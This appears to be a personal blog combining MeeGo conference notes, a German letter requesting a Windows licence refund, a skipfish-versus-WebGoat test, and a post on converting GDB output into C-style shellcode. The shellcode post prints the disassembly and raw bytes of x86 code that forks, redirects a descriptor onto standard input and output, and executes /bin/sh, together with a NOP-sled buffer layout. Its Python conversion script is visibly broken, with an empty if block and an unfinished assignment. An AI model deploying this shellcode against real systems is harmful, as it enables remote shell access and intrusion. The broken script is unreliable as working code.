Enterprise Desktop – Yan Li talked about his work on making MeeGo enterprise ready, meaning to have support for VPNs, Exchange Mail, large LDAP address books, etc… His motivation is to bring MeeGo to his company, Intel. It’s not quite there yet, but apparently there is an Enterprise MeeGo which has a lot of fixes already which were pushed upstream but are not packaged in MeeGo yet. His strategy to bring the devices to the people was to not try to replace the people’s old devices but rather give them an additional device to play with. Interesting approach and I’d actually like to see the results in a year or so.

Compliance – There is a draft specification but the final one will be ready soon. If you want to be compliant, you have to ensure that you are using MeeGo API (Qt, OpenGL ES, …) only. That will make it compatible for the whole minor version series. There will also be profiles (think: Handset, Netbook) which well define additional APIs or available screen estate. In return, you are allowed to use the MeeGo name and the logo. Your man asked the audience to try the compliance tools and give feedback and to review the handset profile draft.

Security – There will be a MSSF, a Mobile Simplified Security Framework in MeeGo 1.2. It’s a MAC system which is supposed to be in mainline. So yes, it is yet another security framework in Linux and I didn’t really understand, why it’s necessary. There’ll be a “Trusted Execution Environment’ (TrEE) as well. That will mean that the device has to have a TPM with a hardwired key that you can’t see nor exchange. I don’t necessarily like TPMs. Besides all that, “Simplified Mandatory Access Control” (SMACK) will be used. It is supposedly like SELinux, but doesn’t suck as much. Everything (processes, network packets, files, I guess other IPC, …) will get labels and policies will be simple. Something like “Application 1 has a red label and only if you have a red label, too, you can talk to Appilcation 1”. We’ll see how that’ll work. On top of all that, an Integrety Protection “IMA” system will be used to load and execute signed binaries only.

Given all that, I don’t like the development in this direction. It clearly is not about the security of the person owning the device in question but about protecting the content mafia. It’s a clear step into the direction of Digital Restriction Management (DRM) under the label of protection the users data. And I’m saying that they are trying to hide it, but they are not calling it by its right name either.

A great surprise was to see Intel and Nokia handing out Lenovo Ideapads to everybody. We were asked to put MeeGo on the machine, effectively removing the Windows installation. Three years ago, when I got my x61s, it was a piece of cake to return your Windows license. By now, things might have changed. We’ll see. I’ll scratch the license sticker off the Laptop and write a letter to Lenovo and see what happens. Smth like this (copied from here):

Lenovo Deutschland GmbH
Gropiusplatz 10
70563 Stuttgart

Rückgabe einer Windows-Lizenz

Sehr geehrte Damen und Herren,

hiermit gebe ich die gemeinsam mit einem Lenovo-Notebook erworbene Windows-Lizenz gemäß des End User License Agreement (EULA) von Microsoft Windows zurück.

Das EULA von Windows gewährt mir das Recht, beim Hersteller des Produkts, mit dem ich die Lizenz erworben habe, den Preis für die Windows-Lizenz zurückerstattet zu bekommen, falls die mitgelieferte Windows-Lizenz beim Start nicht aktiviert und registriert wurde und das EULA nicht akzeptiert worden ist. Ich habe der EULA nicht zugestimmt, da sie zahlreiche für mich inakzeptable Punkte enthält, beispielsweise:

– Die Aktivierung der Software sendet Hardware-Informationen an Microsoft (Punkt 2 des EULA).
– „Internetbasierte Dienste“ wie das „Windows-Updatefeature“ können von Microsoft jederzeit gesperrt werden (Punkt 7 des EULA). Dadurch existiert de facto kein Recht auf Security-Updates.

Ich entschied mich stattdessen für das Konkurrenz-Produkt Ubuntu, da dieses eine bessere Qualität aufweist und ein verbraucherfreundlicheres EULA hat.

Sie haben anderen Lenovo-Kunden in der Vergangenheit die Rückgabe der Windows-Lizenz verweigert mit der Verweis, dass es sich bei dem mit dem Gerät erworbenen Windows-Betriebssystem um einen “integrativen Bestandteil” des Produkts handle und man die Windows-Lizenz nur mit dem gesamten Produkt zurückgeben kann.

Diese Auffassung ist aus den folgenden Gründen nicht zutreffend:
– Windows-Lizenzen werden auch einzeln verkauft, eine Bindung von Software an ein bestimmtes Hardware-Gerät (OEM-Vertrag) ist nach deutschem Recht nicht zulässig. [1]
– Das betreffende Notebook lässt sich auch mit anderen, einzeln erhältlichen Betriebssystemen (u.a. Ubuntu) produktiv betreiben. Insbesondere Ihre Produkte laufen mit Ubuntu (mit sehr wenigen Ausnahmen) ganz hervorragend.
– Jedoch lässt sich das vorliegende Notebook nicht ohne Windows-Lizenz oder ganz ohne Betriebssystem erwerben.

Mir sind desweiteren mehrere Fälle bekannt, in denen Sie erfolgreich mit dem von mir verwendeten Formular Windows-Lizenzen zurückerstattet haben.

Ich bitte Sie deshalb, mir die Kosten für die Windows-Lizenz zurückzuerstatten und die erworbene Windows-Lizenz einzeln zurückzunehmen.

Hilfsweise teilen sie mir mit, wie ich das Geraet als ganzes zurureck geben kann.

Mit freundlichen Grüßen

[1] Vgl. dazu das Urteil des BGH I ZR 244/97 vom 6. Juli 2000
( sowie

The performance of MeeGo on that device is actually extremely bad. WiFi is probably the only thing that works out of the box. The touchpad can’t click, the screen doesn’t rotate, the buttons on the screen don’t do anything, locking the screen doesn’t work either, there is no on-screen keyboard, multi touch doesn’t work with the screen, accelerometer doesn’t work. It’s almost embarrassing. But Chromium kinda works. Of course, it can’t actually do all the fancy gmail stuff like phone or video calls. The window management is a bit weird. If you open a browser it’ll get maximised and you’ll get a title bar for the window. And you can drag the title bar to unmaximise the window. But if you then open a new browser window, it’ll be opened on a new “zone”. Hence, it’s quite pointless to have a movable browser window with a title bar. In fact, you can put multiple (arbitrary) windows in zone if you manually drag and drop them from the “zones” tab which is accessible via a quake style top panel. If you put multiple windows into one zone, the window manager doesn’t tile the windows. By the way: If you’re using the touchscreen only, you can’t easily open this top panel bar, because you can’t easily reach the *very* top of the screen. I hope that many people will have a look at these issues now and eventually fix them. Anyway, thanks Intel and Nokia :-)

Skipfish versus WebGoat

I just had the time to play around with skipfish and WebGoat. Both projects are actually awesome. Not only because they try to solve an important problem and are free, but also because it is very easy to get started. It is really just a matter of downloading, unpacking and running.

WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons” and tries to make it easy to teach and learn WebSec. It includes various lessons that the user has to take by solving a hackme. Of course, the usual suspects like XSS, SQLi or CSRF are covered. But they also ship AJAX, concurrency or HTTP problems.

As I read about skipfish over the last weeks, I was actually looking for a standard webapp that security assessment tools could run against so that the tools could be compared. I thought no such thing existed and was delighted to see WebGoat.

Installing and running WebGoat is very easy because it comes in a self contained bundle that works out of the box (for me at least ;-) ). As far as I can see, it also seems to work pretty well. However, there’s lots of room for improvement. They could equip the “Show Code” function with a source code highlighter, get rid of all the unnecessary JavaScript to make it work even if no JavaScript is turned on, double check their lessons whether they actually work (Hints in Prepared Statement SQLi are useless) or even dwell down on technical details during explanation of lessons. Or at least point to some good explanation. I know, these are ambitious goals, but eventually someone with a big pile of money comes around and badly needs to spend it ;-)

Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes” and the further description sounds promising. So I gave it a try and again, it was as easy as downloading, unpacking, making and running.

I then ran it against the site to see how much it’ll get:

./skipfish -W dictionaries/complete.wl -A guest:guest -o /tmp/sf-results-simple-sqli-full ''

It produces a self contained (read: 30MB) webpage which is actually nice to browse. The results, however, were not too exciting. It didn’t actually find any serious issue which I thought was interesting, given that WebGoat is deliberately insecure. I’ve uploaded the results and invite you to browse them :)

Convert GDB output to C-style shellcode

Due to developing shellcode during the recent days, I ended up needing to convert GDB output to C style strings very often. My sample output from GDB looks like this:
(gdb) disassemble function
Dump of assembler code for function function:
0x08048254 <function+0>:    push   %ebp
0x08048255 <function+1>:    mov    %esp,%ebp
0x08048257 <function+3>:    pop    %ebp
0x08048258 <function+4>:    jmp    0x8048268 <begin>
0x0804825a <function+6>:    inc    %ecx
0x0804825b <function+7>:    inc    %ecx
0x0804825c <function+8>:    inc    %ecx
0x0804825d <function+9>:    inc    %ecx
0x0804825e <function+10>:    jmp    0x80482b3 <bottom>
0x08048260 <function+12>:    pop    %esi
0x08048261 <function+13>:    mov    %esi,%esp
0x08048263 <function+15>:    sub    $0x78,%esp
0x08048266 <function+18>:    xor    %edi,%edi
0x08048268 <begin+0>:    mov    %edi,%eax
0x0804826a <begin+2>:    inc    %eax
0x0804826b <begin+3>:    inc    %eax
0x0804826c <begin+4>:    int    $0x80
0x0804826e <begin+6>:    test   %eax,%eax
0x08048270 <begin+8>:    je     0x8048288 <child>
0x08048272 <parent+0>:    mov    %edi,%eax
0x08048274 <parent+2>:    mov    $0xa2,%al
0x08048276 <parent+4>:    push   $0x11111111
---Type <return> to continue, or q <return> to quit---
0x0804827b <parent+9>:    push   $0x11111111
0x08048280 <parent+14>:    mov    %esp,%ebx
0x08048282 <parent+16>:    mov    %edi,%ecx
0x08048284 <parent+18>:    int    $0x80
0x08048286 <parent+20>:    jmp    0x8048272 <parent>
0x08048288 <child+0>:    mov    -0x204(%esi),%ebx
0x0804828e <child+6>:    mov    %edi,%ecx
0x08048290 <child+8>:    mov    $0x3f,%al
0x08048292 <child+10>:    int    $0x80
0x08048294 <child+12>:    inc    %ecx
0x08048295 <child+13>:    mov    %edi,%eax
0x08048297 <child+15>:    mov    $0x3f,%al
0x08048299 <child+17>:    int    $0x80
0x0804829b <child+19>:    inc    %ecx
0x0804829c <child+20>:    mov    %edi,%eax
0x0804829e <child+22>:    mov    $0x3f,%al
0x080482a0 <child+24>:    int    $0x80
0x080482a2 <execshell+0>:    mov    %edi,%eax
0x080482a4 <execshell+2>:    mov    %al,0x7(%esi)
0x080482a7 <execshell+5>:    push   %eax
0x080482a8 <execshell+6>:    push   %esi
0x080482a9 <execshell+7>:    mov    %edi,%edx
0x080482ab <execshell+9>:    mov    %esp,%ecx
---Type <return> to continue, or q <return> to quit---
0x080482ad <execshell+11>:    mov    %esi,%ebx
0x080482af <execshell+13>:    mov    $0xb,%al
0x080482b1 <execshell+15>:    int    $0x80
0x080482b3 <bottom+0>:    call   0x8048260 <function+12>
0x080482b8 <bottom+5>:    das
0x080482b9 <bottom+6>:    bound  %ebp,0x6e(%ecx)
0x080482bc <bottom+9>:    das
0x080482bd <bottom+10>:    jae    0x8048327 <__floatdisf+55>
0x080482bf <bottom+12>:    inc    %ecx
0x080482c0 <bottom+13>:    ret
End of assembler dump.
(gdb) x/98xb 0x0804825e
0x804825e <function+10>:    0xeb    0x53    0x5e    0x89    0xf4    0x83    0xec    0x78
0x8048266 <function+18>:    0x31    0xff    0x89    0xf8    0x40    0x40    0xcd    0x80
0x804826e <begin+6>:    0x85    0xc0    0x74    0x16    0x89    0xf8    0xb0    0xa2
0x8048276 <parent+4>:    0x68    0x11    0x11    0x11    0x11    0x68    0x11    0x11
0x804827e <parent+12>:    0x11    0x11    0x89    0xe3    0x89    0xf9    0xcd    0x80
0x8048286 <parent+20>:    0xeb    0xea    0x8b    0x9e    0xfc    0xfd    0xff    0xff
0x804828e <child+6>:    0x89    0xf9    0xb0    0x3f    0xcd    0x80    0x41    0x89
0x8048296 <child+14>:    0xf8    0xb0    0x3f    0xcd    0x80    0x41    0x89    0xf8
0x804829e <child+22>:    0xb0    0x3f    0xcd    0x80    0x89    0xf8    0x88    0x46
0x80482a6 <execshell+4>:    0x07    0x50    0x56    0x89    0xfa    0x89    0xe1    0x89
0x80482ae <execshell+12>:    0xf3    0xb0    0x0b    0xcd    0x80    0xe8    0xa8    0xff
0x80482b6 <bottom+3>:    0xff    0xff    0x2f    0x62    0x69    0x6e    0x2f    ---Type <return> to continue, or q <return> to quit---
0x80482be <bottom+11>:    0x68    0x41
(gdb) Quit

And my desired output are the bytes in these strings:

char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 /* Second NOP slide */
 /* that's the shellcode */

So I built a quick and dirty script which does the conversion and helped me saving a lot of time. Is there any better way of making gdb output the shellcode directly?

#!/usr/bin/env python
import sys
paginator  = '''---Type  to continue, or q  to quit---'''
def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)
if __name__ == "__main__":
    to_convert =
    converted = convert (to_convert)
    print converted

Want to take a guess what the shellcode actually does? It’s not too hard to see though.